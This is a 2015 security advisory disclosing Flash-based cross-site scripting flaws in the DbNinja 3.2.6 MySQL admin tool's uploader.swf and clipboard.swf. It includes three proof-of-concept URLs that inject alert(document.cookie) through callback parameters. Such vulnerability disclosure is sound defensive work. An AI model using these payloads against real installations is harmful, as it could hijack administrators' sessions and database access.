Credits: John Page ( hyp3rlinx ) Domains: hyp3rlinx.altervista.org Source: http://hyp3rlinx.altervista.org/advisories/AS-DBNINJA0527.txt Vendor: www.dbninja.com Product: DbNinja is a web based application for MySQL database administration. Advisory Information: ================================================ DbNinja multiple Flash based XSS vulnerabilities Vulnerability Details: ===================== The DbNinja Flash uploader component contains 2 SWF files that use Flash 'ExternalInterface' API to call Javascript functions. These SWFs can be exploited by supplying malicious code as parameters to those functions from the URL. The text value "Copy to Clipboard" can also be changed using the "buttonText" parameter. Exploit code(s): =============== 1- http://localhost/sectest/dbninja/dbninja/js/lib/uploader.swf?selectCallback=alert(document.cookie) 2- http://localhost/dbninja/dbninja/js/lib/clipboard.swf?buttonText=DbNinja%20Login&dataSourceFunc=alert(document.cookie) 3- http://localhost/dbninja/dbninja/js/lib/clipboard.swf?completeCallback=alert(document.cookie) Disclosure Timeline: ========================================================= Vendor Notification May 23, 2015 May 27, 2015: Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] GET Vulnerable Product: [+] DBNinja 3.2.6 Vulnerable Parameter(s): [+] selectCallback, dataSourceFunc & completeCallback Affected Area(s): [+] uploader.swf, clipboard.swf =============================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (hyp3rlinx)